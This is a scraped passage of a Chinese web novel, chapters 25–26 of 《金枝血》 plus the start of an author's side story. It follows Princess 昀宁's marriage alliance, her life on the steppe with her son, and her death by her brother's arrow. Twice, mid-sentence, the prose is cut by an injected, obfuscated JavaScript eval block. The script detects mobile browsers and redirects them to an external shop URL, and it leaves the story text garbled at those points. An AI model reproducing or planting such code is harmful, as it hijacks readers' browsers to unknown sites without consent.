昀宁说:“陛下是皇帝,陛下也有陛下的难处。” 昀昭说:“那你原谅我了?” 昀宁终于抬起头,看着他。 “陛下,”她说,“本宫没有怪你,所以谈不上原谅。” 昀昭愣了一下。 昀宁继续说:“陛下是本宫的弟弟。从小到大,本宫做什么都是为了陛下。陛下坐不稳,本宫替陛下扶着。陛下长大了,本宫替陛下高兴。” 她顿了顿,声音轻了下去。 “现在陛下需要本宫去和亲,那…本宫……就去。” 昀昭看着她,眼泪终于掉下来。 “皇姐……” 昀宁伸出手,替他擦了擦眼泪。 “行了,别哭了。陛下是皇帝,让人看见像什么样子。” 昀昭点点头,拼命忍住眼泪。 昀宁看着他,心里忽然涌起一种奇怪的感觉。 她想起他小时候,趴在她肩头哭,说“皇姐,我怕”。 那时候她抱着他,轻轻拍着他的背,说“不怕,姐姐在”。 现在他抱着她哭,说“皇姐,我对不起你”。 她不知道该怎么回答。 她只是伸出手,像小时候那样,轻轻拍着他的背。 “没事。”她说。 那天晚上,昀昭没有走。 他就在摘星阁待着,和昀宁一起用了晚膳,又下了几盘棋。 下到最后一盘,天已经黑透了。 昀昭放下棋子。 “皇姐,我走了。” 昀宁点点头。 昀昭走到门口,忽然停下脚步,回过头。 “皇姐。” 昀宁看着他。 昀昭说:“无论你恨不恨我,你都是我姐。” 他顿了顿,又说:“永远都是。” 说完,他推门走了出去。 昀宁站在原地,看着那扇关上的门。 阿蘅从一旁走过来,眼眶红红的。 “殿下……” 昀宁没有说话。 那天夜里,昀宁没有睡。 她坐在窗前,坐了一夜。 天快亮的时候,她做了一个决定。 第二天,昀宁让人把摘星阁里的东西收拾了一下。 也没什么好收拾的。她本来就不是喜欢攒东西的人,除了几件衣裳,几本书,就没什么了。 阿蘅在一旁忙前忙后,一边收拾一边掉眼泪。 昀宁看着她,有些无奈。 “你哭什么?” 阿蘅擦着眼泪,说:“奴婢舍不得殿下。” 昀宁说:“本宫还没走呢。” 阿蘅说:“快走了。” 昀宁没有说话。 她走到床边,从枕下取出那只兔子面具。 十年了。 面具上的红漆已经有些剥落,但那两只红红的眼睛,还是那么红。 她看着那两只眼睛,看了很久。 然后她拿着面具,走出屋子。 阿蘅在后面喊:“殿下,您去哪儿?” 昀宁没有回答。 她走到院子里,在那棵老槐树下站定。 然后她蹲下身子,把面具放在地上。 阿蘅追过来,看见那个面具,愣住了。 “殿下,您……” 昀宁没有理她。 她从袖中取出火折子,吹着,把面具点燃了。 火苗窜起来,舔舐着那只白兔。 那两只红红的眼睛,在火光里显得更红了。 像是在看着她。 昀宁蹲在那里,看着火。 看着那只面具慢慢变黑,变形,最后化成一堆灰烬。 阿蘅在一旁哭得稀里哗啦。 “殿下……那是……那是沈小公爷送给您的……” 昀宁点点头。 “我知道。” 阿蘅说:“那您怎么……” “留着也没用了。” “殿下,您想烧掉什么?” “我的过去,还有我的未来……” 昀宁蹲在那里,看着那堆灰烬。 火慢慢小了,慢慢灭了。 一阵风吹过来,把灰烬吹散了些。 昀宁低下头。 那堆灰烬里,依稀可以看得出一个形状—— 兔子的形状。 两只耳朵,圆圆的脑袋,还有那两个红红的眼睛的位置,是两个小小的坑。 昀宁看着那个形状,一动不动。 风继续吹。 那个形状慢慢散了,慢慢没了。 最后只剩下一堆灰,什么都不是了。 昀宁站起身。 “回去吧。”她说。 她转身往屋里走。 阿蘅跟在后面,一边走一边回头看着那堆灰烬。 那天下午,昀宁去了御书房。 昀昭正在批奏折,见她进来,抬起头。 “皇姐?” 昀宁走过去,在他对面坐下。 “陛下,本宫答应你。” 昀昭愣住了。 “皇姐……” 昀宁说:“本宫去和亲。” 昀昭看着她,眼眶又红了。 “皇姐,你……” 昀宁摆摆手,打断他。 “但本宫有一个条件。” 昀昭说:“阿姐你说。” 昀宁说:“让本宫在走之前,出宫住几天。就住在本宫以前那个公主府里。” 昀昭愣了一下,随即点点头。 “好。” 昀宁站起身。 “臣告退。” 她转身往外走。 走到门口,昀昭的声音从身后传来。 “皇姐。” 昀宁停下脚步,没有回头。 “陛下还有事吗?” “谢谢你。” 昀宁沉默了一瞬。 然后她推门走了出去。 二月初十,昀宁搬出了宫。 公主府在城东,不大,但很清静。她已经很久没来住了,院子里长了些杂草,屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316926|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里的家具都落了灰。 阿蘅忙前忙后地收拾,一边收拾一边念叨。 “这灰也太多了……这桌子都朽了……这被子没法盖了,得换新的……” 昀宁坐在院子里,看着那棵石榴树。 树也老了,枝丫乱糟糟的,还没发芽。 她忽然想起很多年前,她刚被封为长公主的时候,父皇赐给她这座府邸。那时候她还想,以后有了驸马,就住在这里,过自己的小日子。 后来驸马没了。 小日子也没了。 现在她坐在这儿,等着去和亲。 阿蘅收拾完了,端着一盏茶出来。 “殿下,您喝口茶。” 昀宁接过来,喝了一口。 阿蘅在旁边坐下,看着她。 “殿下,您真的要去吗?” 昀宁点点头。 阿蘅的眼眶又红了。 “殿下,奴婢跟您去。” 昀宁看着她。 “你跟去干什么?” 阿蘅说:“伺候您啊。您一个人去那么远的地方,没人伺候怎么行?” 昀宁摇摇头。 “你别去。” 阿蘅急了。 “为什么?” 昀宁说:“你走了,昀昭怎么办?” 阿蘅愣住了。 昀宁说:“我走了,他就一个人了。你留下来,帮我看着他。” 阿蘅的眼泪掉下来。 “殿下……” 昀宁伸出手,替她擦了擦眼泪。 “别哭了。又不是见不着了。” 阿蘅点点头,拼命忍住眼泪。 那天晚上,昀宁在公主府里住下了。 没有宫里那些规矩,没有那些来来往往的人,只有她和阿蘅两个人。 很安静。 安静得能听见风吹过院子的声音。 她躺在榻上,看着窗外的月光。 月光很亮,照得满屋子都是白的。 她闭上眼睛。 “沈淮,”她在心里说,“我就要去找你了。” 她没有说出口。 但她知道,他听得见。 二月十二,昀昭来了。 他一个人来的,没带随从,穿着一身寻常的衣裳。 昀宁正在院子里坐着,看见他进来,没有动。 昀昭走过来,在她旁边坐下。 “皇姐。” 昀宁点点头。 两个人就这么坐着,谁都没说话。 坐了半晌,昀昭忽然开口。 “皇姐,你会恨我一辈子吗?” 昀宁看着他。 昀昭也看着她,眼睛里带着一种她从未见过的东西。 那是一个孩子,在问一个大人——你会原谅我吗? 昀宁忽然想起他小时候。 想起他第一次叫她“皇姐”,奶声奶气的。 想起他趴在床上,让她教他写字。 想起他拉着她的手,说“皇姐,我信你”。 “不恨。” 昀昭看着她,眼眶红了。 “皇姐……” 昀宁说:“陛下是皇帝。皇帝有皇帝的难处。本宫知道。” 昀昭的眼泪掉下来。 “可是我对不起你。” 昀宁摇摇头。 “没有对不起。” 她顿了顿,又说:“陛下是本宫的弟弟。永远都是。” 昀昭看着她,哭得像个孩子。 昀宁只是坐在那里,轻轻拍着他的背。 像小时候那样。 那天下午,昀昭走了。 走之前,他在门口站了很久,回过头看她。 “皇姐。” 昀宁看着他。 昀昭说:“你保重。” 昀宁点点头。 昀昭转身走了。 昀宁站在原地,看着他的背影消失在门外。 阿蘅从屋里出来,站在她旁边。 “殿下,陛下走了。” 昀宁点点头。 “嗯。” 那天晚上,昀宁又在院子里坐了很久。 月亮升起来了,很亮。 她做的每一件事,都是她想做的。 护着昀昭,是。 让沈淮去做细作,是。 烧掉那只面具,也是。 她站起身,走回屋里。 阿蘅已经铺好了床,在一旁候着。 “殿下,您早点歇着。” 昀宁点点头。 她躺在榻上,闭上眼睛。 窗外,月光很亮。 像那年上巳节的月光。 二月十五,昀宁收到了一份圣旨。 正式的和亲诏书。 上面写着,长公主昀宁,德容兼备,堪为两国之好。今赐婚胡王,择日启程。 昀宁看着那份诏书,看了很久。 然后她把它折起来,放在一边。 阿蘅在一旁,哭得稀里哗啦。 昀宁看着她,有些无奈。 “你哭什么?又不是你去。” 阿蘅说:“奴婢替殿下哭。” 昀宁笑了。 那笑容很淡,淡得几乎看不出来。 “行了,别哭了。去给我收拾东西吧。” 阿蘅点点头,擦着眼泪去收拾了。 昀宁站起身,走到院子里。 那棵石榴树还是光秃秃的。 她站在树下,看着那些乱糟糟的枝丫。 春天快来了。 树快发芽了。 可她看不到了。 她要走了。 去一个很远的地方,可能一辈子都回不来了。 她伸出手,摸了摸那棵树的树干。 粗糙的,冰凉的,带着岁月的痕迹。 “再见了。”她在心里说。 那天夜里,昀宁做了一个梦。 梦里她站在一条很长很长的路上,两边都是雪,白茫茫的一片。她往前走,一直往前走,走了很久很久。 然后她看见一个人。 他站在路尽头,背对着她。 她跑过去,跑到他身后,伸手去拉他。 他回过头。 是沈淮。 他看着她,笑着对她说—— “殿下,您来了。” 她醒了。 窗外,天已经亮了。 阳光照进来,落在她脸上,暖暖的。 她坐起来,看着窗外。 阿蘅推门进来。 “殿下,您醒了?东西都收拾好了。” 昀宁点点头。 “什么时辰了?” 阿蘅说:“辰时了。陛下那边派人来问,什么时候启程。” 昀宁沉默了一瞬。 “告诉他们,明天。” 阿蘅愣住了。 “明天?” 昀宁点点头。 “明天。” 阿蘅的眼眶又红了。 但她什么都没说,只是点点头,转身出去了。 昀宁坐在床上,看着窗外。 阳光很好。 天很蓝。 很多年前,她对阿蘅说:“等本宫有了驸马,我们就去江南,看一辈子烟雨。” 她没有驸马。 也没有去江南。 她要去的是西北,是胡人的地盘,是一个她从未去过的地方。 ——第二十五章完—— 26. 血色鸳鸯 15 大燕建元二十九年,三月初八。 和亲的队伍走了整整二十三天,终于到了。 昀宁掀开车帘,看见远处那些灰黄色的帐篷,密密麻麻的,像雨后长出的蘑菇。天很低,压得人喘不过气来。风很大,卷着沙土扑面而来,打在脸上生疼。 “可敦,到了。”车外传来一个声音,生硬的汉话,带着浓重的鼻音。 可敦。 胡语里“王后”的意思。 昀宁放下车帘,没有应声。 马车继续往前走,穿过那些帐篷,最后停在一座最大的帐篷前。有人掀开车帘,阳光刺进来,晃得她睁不开眼。 “下来。” 她下了车,站在那片陌生的土地上。 天很蓝,蓝得不像是真的。地很黄,黄得像是被火烧过。风从四面八方吹过来,带着牛羊的膻味,和草原上特有的那种空旷的气息。 帐篷前站着一个人。 很高,很壮,穿着一身皮毛做的袍子,腰间挎着一把弯刀。他的脸被太阳晒得黝黑,眼睛细长,目光锐利得像鹰。 胡王。 阿史那·骨咄禄。 他看着她,上下打量了一遍,忽然咧嘴笑了。 “大燕的公主,”他的汉话很生硬,一字一顿的,“长得,好看。” 昀宁没有说话。 只是看着他,目光平静。 那天晚上,帐篷里点起了篝火。 外面的人在唱歌,在跳舞,在喝酒,热闘得很。昀宁坐在帐篷里,听着那些她听不懂的歌,看着那些跳动的火光,一动不动。 门帘被掀开,骨咄禄走进来。 他喝了很多酒,脸上红通通的,走路有些摇晃。走到昀宁面前,他蹲下身子,看着她。 “公主,”他说,“你不高兴?” 昀宁没有回答。 骨咄禄盯着她看了半天,忽然笑了。 “不高兴,也得高兴。”他站起身,往外走,走到门口,回过头,“你是我的可敦。草原上的人,都知道。” 他转身离开了帐篷。 昀宁坐在那里,听着外面的歌声,听着那些她听不懂的话。 她没有驸马。 只有一个胡人的王。 这里没有烟雨。 只有风沙。 那天夜里,昀宁一夜没睡。 她坐在帐篷里,听着外面的风声,听着远处偶尔传来的狼嚎。 天快亮的时候,她做了一个决定。 既来之,则安之。 既然来了,就好好活着。 替自己活着。 替沈淮活着。 三月十五,昀宁见到了乌恩。 乌恩是骨咄禄的妹妹,十七岁,瘦瘦小小的,眼睛很大,很亮。她不会说汉话,但会笑。看见昀宁,她就笑,笑得眼睛弯成两道月牙。 “阿姐!”她指着昀宁,又指着自己,“乌恩!阿姐!” 昀宁看着她,嘴角微微弯了弯。 “昀宁。”她指着自己。 乌恩学着她的样子,努力地发音。 “云……宁?” “昀宁。” “云……云宁!” 昀宁点点头。 乌恩高兴得跳起来,拉着她的手往外跑。 “阿姐!走!走!” 她拉着昀宁跑出帐篷,跑到一片草地上。那里有几只小羊羔,白白的,软软的,在草地上跑来跑去。 乌恩抱起一只,递到昀宁怀里。 “阿姐!羊!羊!” 昀宁抱着那只小羊羔,看着它在怀里挣扎,心里忽然涌起一种奇怪的感觉。 软软的,热热的,活着的。 她很久没有抱过活的东西了。 乌恩在一旁看着她,眼睛亮亮的。 “阿姐,喜欢?” 昀宁点点头。 乌恩笑了,笑得很开心。 那天下午,乌恩教昀宁说胡语。 指着天,说“腾格里”。 指着地,说“嘎扎尔”。 指着羊,说“霍尼”。 指着自己,说“比”。 昀宁一句一句跟着念,念得乌恩笑得前仰后合。 “阿姐!不对!不对!是‘霍尼’,不是‘火你’!” 昀宁看着她,有些无奈。 “霍尼。” 乌恩竖起大拇指。 “好!阿姐聪明!” 昀宁笑了。 她已经很久没有这样笑过了。 四月初,昀宁开始慢慢习惯这里的生活。 每天早上,被羊叫醒。白天,要么和乌恩一起放羊,要么坐在帐篷里缝东西。晚上,听外面的人唱歌,看那些跳动的火光。 骨咄禄偶尔会来。 有时候是白天,有时候是晚上。来了就喝酒,喝了酒就说些她听不懂的话。说完就走了,也不管她听没听懂。 昀宁从来不问。 他来了,她就倒酒。他走了,她就继续做自己的事。 有一回,骨咄禄喝多了,坐在她旁边,忽然问。 “公主,你想家吗?” 昀宁的手顿了顿。 骨咄禄看着她,眼睛里有种她看不懂的东西。 “我的阿妈,也想家。”他说,“她是从很远的地方来的,和你一样。” 昀宁没有说话。 骨咄禄继续说:“她每天,都坐在帐篷外面,看太阳落山。看了一年,两年,三年。后来,不看了。” 他站起身,往外走。 走到门口,他回过头。 “你也会的。” 他走了。 昀宁坐在那里,看着他的背影消失在门帘外。 五月初,草原上开始热起来了。 太阳明晃晃的,晒得人睁不开眼。草长得很高,绿油油的,风一吹,像海浪一样起伏。 昀宁坐在帐篷外面,看着那些草。 乌恩跑过来,手里捧着一把野花,五颜六色的,开得很热闹。 “阿姐!给你!” 昀宁接过来,看着那些花。 有黄的,有紫的,有白的,小小的,不起眼,却很鲜活。 她忽然想起御花园里的那些花。 牡丹,芍药,海棠,开得雍容华贵,开得繁复精致。 但那些花,都是被人伺候着的。 这些花不是。 它们在风里长,在雨里长,在太阳底下长。 没人管它们。 它们也活得很好。 “阿姐,”乌恩在旁边坐下,看着她,“你以前,是什么样的?” 昀宁想了想,说:“以前?在一个很大的房子里,有很多人伺候着。” 乌恩眼睛亮了。 “大房子?多大?” 昀宁比划了一下。 “这么大?” 昀宁摇摇头。 “比这大得多。有好多好多帐篷这么大。” 乌恩张大了嘴。 “哇……” 昀宁看着她,笑了。 “你想去看看吗?” 乌恩用力点头。 “想!想!” 昀宁说:“那等你长大了,我带你去。” 乌恩高兴得跳起来。 “好!阿姐说话算话!” 昀宁点点头。 “算话。” 那天晚上,昀宁躺在帐篷里,看着从缝隙里漏进来的月光。 她忽然想起刚才说的话。 “等你长大了,我带你去。” 她真的能带她去吗? 她不知道。 但她带她去看看那个大房子,看看御花园里的花,看看京城里的热闹。 哪怕只是想想,也好。 六月初,昀宁发现自己怀孕了。 是乌恩先发现的。 那天早上,昀宁一起床就吐了。吐得昏天黑地,什么都吐不出来,还在干呕。 乌恩吓坏了,跑去叫了人来。 一个老妇人进来了,看了她一眼,摸了摸她的肚子,说了几句什么。 乌恩翻译给她听。 “阿姐,你有娃娃了。” 昀宁愣住了。 娃娃。 她低头看着自己的肚子,平平的,什么都看不出来。 可里面,已经有一个小生命了。 一个她从未想过的小生命。 那天晚上,骨咄禄来了。 他坐在她旁边,看着她,沉默了很久。 然后他开口。 “公主,”他说,“这是你的娃娃,也是我的。” 昀宁没有说话。 骨咄禄继续说:“草原上的人,不会亏待自己的娃娃。你好好养着,生下来,我会对他好。” 他站起身,走到门口,回过头。 “你也是。” 他走了。 昀宁坐在那里,看着自己的肚子。 沈淮,我有了个娃娃。 不是你的。 是别人的。 你会怪我吗? 没有人回答。 只有风,从帐篷的缝隙里钻进来,凉凉的。 七月初,昀宁的肚子开始显怀了。 乌恩每天都要趴在她肚子上听,听完了就傻笑。 “阿姐!娃娃在动!” 昀宁看着她,有些无奈。 “还小呢,动不了。” 乌恩不信。 “能动!肯定能动!” 她继续趴着听。 听了一会儿,她忽然抬起头,眼睛亮亮的。 “阿姐!真的动了!在踢我!” 昀宁愣住了。 她低头看着自己的肚子,什么感觉都没有。 但乌恩说有。 她信。 那天晚上,昀宁躺在帐篷里,把手放在肚子上。 轻轻的,慢慢的,感受着那里面的动静。 忽然,她感觉到了。 一下。 很轻,很轻,像是有人在里面轻轻敲了一下。 她的眼眶忽然有些发酸。 这是她的娃娃。 活着的,会动的,在慢慢长大的娃娃。 她闭上眼睛,把手贴得更紧了些。 “娃娃,”她在心里说,“我是你娘。” 没有人回答。 但她知道,他听见了。 九月,草原上开始冷了。 草黄了,风大了,羊群开始往南边迁徙。 昀宁的肚子已经很大了,走路都有些费劲。乌恩每天扶着她,一步一挪的,像两只企鹅。 “阿姐,你什么时候生?”乌恩问。 昀宁摇摇头。 “不知道。快了。” 乌恩看着她的肚子,眼睛里满是好奇。 “娃娃出来的时候,是什么样的?” 昀宁想了想,说:“小小的,红红的,会哭。” 乌恩张大了嘴。 “会哭?” 昀宁点点头。 “嗯。一出来就哭。” 乌恩有些担心。 “那……那怎么办?” 昀宁说:“抱着他,哄他,就不哭了。” 乌恩似懂非懂地点点头。 那天夜里,昀宁生了。 很疼。 疼得她以为自己要死了。 她抓着身下的毡子,咬着牙,一声不吭。 乌恩在一旁急得团团转,老妇人把她推出去,不许她进来。 不知过了多久。 一声啼哭响起。 昀宁睁开眼睛,看见老妇人抱着一个红通通的小东西,递到她面前。 “是个小子。”老妇人说,用生硬的汉话。 昀宁看着那个小东西。 小小的,皱皱的,眼睛还没睁开,嘴巴却张得大大的,哭得撕心裂肺。 她伸出手,把他抱进怀里。 小东西哭了几声,慢慢安静下来,往她怀里拱。 昀宁看着他,眼泪忽然流下来。 “娃娃,”她在心里说,“你来了。” 十月,娃娃满月了。 骨咄禄给他起了个名字——阿史那·默延。 默延。 胡语里,是“铁”的意思。 骨咄禄抱着他,举得高高的,对着太阳说:“腾格里在上,这是我骨咄禄的儿子!他会像铁一样强壮,像铁一样坚硬!” 昀宁站在一旁,看着他们。 骨咄禄把孩子还给她,忽然说。 “公主,你变了。” 昀宁看着他。 骨咄禄说:“刚来的时候,你像一块冰。现在,你化了。” 他笑了笑,转身走了。 昀宁站在原地,看着他的背影。 她想起刚来的时候,她确实像一块冰。 冷冰冰的,什么都不在乎。 现在呢? 她低头看着怀里的默延。 小小的人儿,闭着眼睛,睡得正香。 “等本宫有了驸马,我们就去江南,看一辈子的烟雨。” 她没有驸马。 但她有了儿子。 烟雨没看成。 但她有了一片草原。 她活下来了。 替自己活下来了。 十二月,草原上下雪了。 很大很大的雪,铺天盖地的,把整个世界都染成了白色。 昀宁抱着默延,坐在帐篷里,看着外面那些飘落的雪花。 默延已经三个月大了,眼睛睁开了,黑黑亮亮的,像两颗葡萄。他喜欢看雪,每次看见雪,就伸出小手,想去抓。 昀宁点点头。 “嗯,雪。” 默延继续看着那些雪花,眼睛亮亮的。 昀宁看着他,忽然想起很多年前,她也这样看着雪。 良久。 她低下头,在默延额头上轻轻亲了一下。 “娃娃,”她说,“你要好好长大。” 默延听不懂,只是继续看着雪。 雪还在下。 一片,一片,又一片。 大燕建元三十年,春。 默延会爬了。 他爬得很快,一眨眼就从帐篷这头爬到那头。乌恩追在他后面,一边追一边笑。 “默延!你等等我!” 默延不理她,继续往前爬。 爬到昀宁脚边,他停下来,抬起头,冲她咧嘴笑。 “阿娘!” 昀宁把他抱起来。 “嗯。” 默延指着外面。 “去!去!” 昀宁抱着他走出去。 外面,草已经开始绿了。星星点点的,从黄褐色的土地里钻出来,嫩嫩的,鲜鲜的。 默延看着那些草,眼睛亮亮的。 “阿娘,草!” 昀宁点点头。 “嗯,草。” 他是在这片草原上生的,也会在这片草原上长大。 他会学会骑马,学会放羊,学会说胡语,学会草原上的一切。 他会忘了那个叫“京城”的地方,忘了那些叫“皇宫”的房子,忘了那些复杂的人和事。 这样也好。 这样,他就不用像她一样,活得那么累。 她低下头,在他耳边轻轻说—— “默延,你要好好的。” 默延听不懂,只是继续看着那些草,看着那些羊,看着那片蓝得不像话的天。 大燕建元三十一年,默延两岁了。 他学会了很多话。 胡语,汉话,都会说一点。 看见羊,他说“霍尼”。 看见天,他说“腾格里”。 看见昀宁,他说“阿娘”。 看见骨咄禄,他说“阿父”。 骨咄禄每次听见他叫“阿父”,就咧嘴笑,笑得眼睛都眯成一条缝。 “我的儿子!”他抱着默延,举得高高的,“草原上最棒的儿子!” 默延在他手里咯咯笑,笑得开心极了。 昀宁站在一旁,看着他们。 她忽然想起,骨咄禄对她其实不错。 不来打扰她,不强迫她,不把她当成什么东西。 她给他生了儿子,他对她好。 就这么简单。 草原上的人,就是这么简单的。 她不知道这样好不好, 但她慢慢习惯了。 习惯这里的天,这里的地,这里的风,这里的人。 习惯每天早上被羊叫醒,每天晚上听那些人唱歌。 习惯抱着默延,看着草原上的日出日落。 沈淮,我活得挺好的。 你别担心。 大燕建元三十二年,默延三岁了。 他已经会骑马了。 当然,是骑在骨咄禄怀里,抱着马脖子,假装自己在骑。 “阿父!快快!” 骨咄禄笑着,一夹马肚子,马就跑起来。 默延在马背上颠着,笑得像只小羊羔。 昀宁站在帐篷外面,看着他们。 风从远处吹过来,吹动她的头发。 她忽然想起很久以前,她站在摘星阁的窗前,看着外面的雨。 那时候她问阿蘅:“雨有没有得选?” 现在她不问了。 因为她知道,雨没得选。 但人可以选择,怎么在雨里活。 她活下来了。 活得还不错。 大燕建元三十三年,默延四岁了。 他开始问问题了。 “阿娘,天为什么是蓝的?” “阿娘,羊为什么要吃草?” “阿娘,我们为什么要住帐篷?” “阿娘,我爹是谁?” 昀宁看着他,沉默了一瞬。 然后她指着远处的骨咄禄。 “那就是你爹。” 默延点点头,跑了。 跑到骨咄禄身边,他仰着头问:“阿父,你是我爹吗?” 骨咄禄愣了一下,然后哈哈大笑。 “是!我是你爹!” 他把默延抱起来,放在肩上,骑着马跑远了。 昀宁站在原地,看着他们。 她想起了沈淮。 想起他如果还活着,会不会也这样,把他们的孩子放在肩上,带着他到处跑。 她不知道。 她只知道,她再也见不到他了。 但她有一个儿子。 他的眼睛,和沈淮的一样亮。 这就够了。 大燕建元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316927|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三十四年,默延五岁了。 草原上来了个商人,从南边来的,带来了很多新奇的东西。 丝绸,茶叶,瓷器,还有……消息。 昀宁让人把他叫来,问他。 “京城那边,怎么样?” 商人看着她,小心翼翼地说:“挺好的。皇上现在……很厉害。打了几个胜仗,把周围的都收拾了。” 昀宁点点头。 商人犹豫了一下,又说:“听说……最近可能要打仗。” 昀宁的手微微一顿。 “和谁?” 商人说:“西北那边。就是……这儿。” 昀宁沉默了。 商人走了。 她坐在帐篷里,看着外面。 默延在草地上跑来跑去,追着一只蝴蝶。 她忽然想起很多年前,她对昀昭说:“无论发生什么,姐姐都会护着你。” 现在,她护不了他了。 他也护不了她了。 他们是敌人了。 大燕建元三十五年,战争来了。 消息传到草原上的时候,昀宁正在教默延写字。 默延握着一根树枝,在地上划来划去,划得歪歪扭扭的。 “阿娘,这个字怎么念?” 昀宁低头看了一眼。 “宁。” 默延点点头,继续划。 “阿娘,这个字是什么意思?” 昀宁说:“安宁的宁。就是……平平安安的意思。” 默延抬起头,看着她。 “阿娘,你叫宁,那你平平安安吗?” 昀宁愣住了。 她看着默延,看着他那双亮亮的眼睛。 那双眼睛,和沈淮的一模一样。 她伸出手,揉了揉他的头发。 “嗯。”她说,“阿娘平平安安的。” 默延咧嘴笑了,继续低头写字。 外面,传来一阵急促的马蹄声。 有人喊。 “打仗了!打仗了!” 昀宁站起身,走到帐篷外面。 远处,尘土飞扬。 一队骑兵,正朝这边跑来。 她站在那里,看着那些越来越近的身影。 风很大,吹得她的衣袍猎猎作响。 她忽然想起很多年前,她站在城门口,看着那些冲过来的人。 那时候她手里有剑,身后有薛明,心里有主意。 现在她什么都没有。 只有一个五岁的儿子。 和一整个草原的敌人。 那天晚上,骨咄禄来找她。 他坐在她旁边,沉默了很久。 然后他开口。 “公主,”他说,“要打仗了。” 昀宁点点头。 “我知道。” 骨咄禄看着她,目光里有一种复杂的东西。 “你知道打的是谁吗?” 昀宁说:“知道。” 骨咄禄说:“是你弟弟。” 昀宁没有说话。 骨咄禄继续说:“明天,我要带兵去。你……留在营地里。” 他站起身,走到门口,回过头。 “公主,”他说,“这些年,谢谢你。” 他走了。 昀宁坐在那里,一动不动。 默延从后面跑过来,钻进她怀里。 “阿娘,阿父要去哪儿?” 昀宁低下头,看着他。 “去打仗。” 默延问:“打仗是什么?” 昀宁想了想,说:“就是……很多很多人,在一起打架。” 默延皱起眉头。 “打架不好。” 昀宁点点头。 “对,打架不好。” 她把他抱紧了些。 “所以你要好好的,别打架。” 默延点点头,把小脸埋在她怀里。 那天夜里,昀宁一夜没睡。 她坐在帐篷里,抱着默延,听着外面的风声。 天快亮的时候,她做了一个决定。 她要去战场。 不是为了帮谁。 是为了看一眼。 看一眼那个她护了二十多年的弟弟。 看一眼他变成什么样了。 看一眼……他还会不会记得她。 三月十八,战场。 风很大,卷着沙土扑面而来。 昀宁站在一个小山坡上,抱着默延,看着远处那两支军队。 一边是草原上的骑兵,黑压压的一片。 一边是大燕的军队,红彤彤的旗帜,在风中猎猎作响。 她看不清那些人的脸。 但她知道,那边,有一个人,是她弟弟。 默延在她怀里,小声问:“阿娘,那些人是谁?” 昀宁说:“大燕的人。” 默延问:“大燕是什么?” 昀宁说:“是……阿娘以前的家。” 默延看着她。 “阿娘的家?” 昀宁点点头。 默延想了想,说:“那他们是好人吗?” 昀宁沉默了。 她不知道该怎么回答。 好人? 坏人? 她已经分不清了。 远处,号角声响起来。 战争开始了。 喊杀声震天,刀光剑影,血肉横飞。 昀宁站在那里,看着那些厮杀的人。 她想起很多年前,她站在北门外,也是这样看着。 那时候沈淮在她身边。 现在,他不在。 “阿娘,”默延忽然说,“我怕。” 昀宁低下头,看着他的脸。 那张小脸,和沈淮的一模一样。 她把他抱紧了些。 “不怕。”她说,“阿娘在。” 远处,忽然传来一阵骚动。 她抬起头,看见大燕的军队里,有一队骑兵朝这边冲过来。 领头的那个人,骑着一匹白马,穿着一身金色的铠甲。 阳光照在他身上,晃得她睁不开眼。 但她认得他。 昀昭。 她的弟弟。 她站在原地,一动不动。 看着那队骑兵越来越近,越来越近。 忽然,她看见他停了下来。 在离她很远的地方,他勒住马,看着她。 她也看着他。 隔着那片战场,隔着那些厮杀的人,隔着二十多年的岁月。 她忽然想起他小时候,趴在她肩头哭,说“皇姐,我怕”。 想起他坐在龙椅上,小小的身子被冕旒遮住大半张脸。 想起他说“皇姐,我信你”。 想起他说“无论你恨不恨我,你都是我姐”。 她张了张嘴,想喊他。 但声音还没出来,就被风吹散了。 然后,她看见他举起手。 手里拿着一把弓。 弓弦拉满。 箭尖,对准了她。 她愣住了。 她看着他,看着他那张已经成熟的脸。 那张脸上,没有表情。 只有一种她从未见过的东西。 那是什么? 是无奈? 是决绝? 还是…… 她没有想下去。 因为那支箭,已经飞过来了。 很快。 快得她来不及反应。 快得她只来得及把默延抱紧。 然后,胸口一凉。 她低下头,看见那支箭,插在她心口。 红色的血,从伤口涌出来,染红了她的衣裳。 她抬起头,看着远处那个人。 他还坐在马上,举着弓,一动不动。 她想喊他。 想喊—— 昀昭,我是你姐。 但她喊不出来了。 她低下头,看着怀里的默延。 默延睁大眼睛,看着她,小脸上满是恐惧。 “阿娘……阿娘你怎么了……” 她张了张嘴,想说—— 没事,阿娘没事。 但她说不出来了。 她抱着他,慢慢倒下去。 倒在那片黄褐色的土地上。 倒在那片她生活了十年的草原上。 天很蓝。 蓝得不像话。 她看着那片天,忽然想起很多年前,上巳节那天。 那天也下雨。 细细的,密密的,从天上落下来。 她戴着面具,穿着男装,站在人潮汹涌的街口。 一个少年走过来,扶住她的胳膊,笑着说—— “小公子,莫要乱跑。” 她闭上眼睛。 嘴角,微微弯了弯。 真好。 这次,可以跟你走了。 风从远处吹过来,吹动她的头发。 吹动那片黄褐色的草。 吹过那片蓝得不像话的天。 远处,默延的哭声撕心裂肺。 “阿娘——阿娘——” 没有人回答。 只有风。 ——第二十六章完—— 27. 茶话会[番外] 我是茶焚雪。 就是那个写《金枝血》写到把自己给写哭了的茶焚雪 今天是个特殊的日子。我的新书《金枝血》完结了,我觉得应该让读者看看角色们私下的样子。 然后我就干了一件特别离谱的事——我把书里所有的角色都叫来了。 对,几乎所有的。 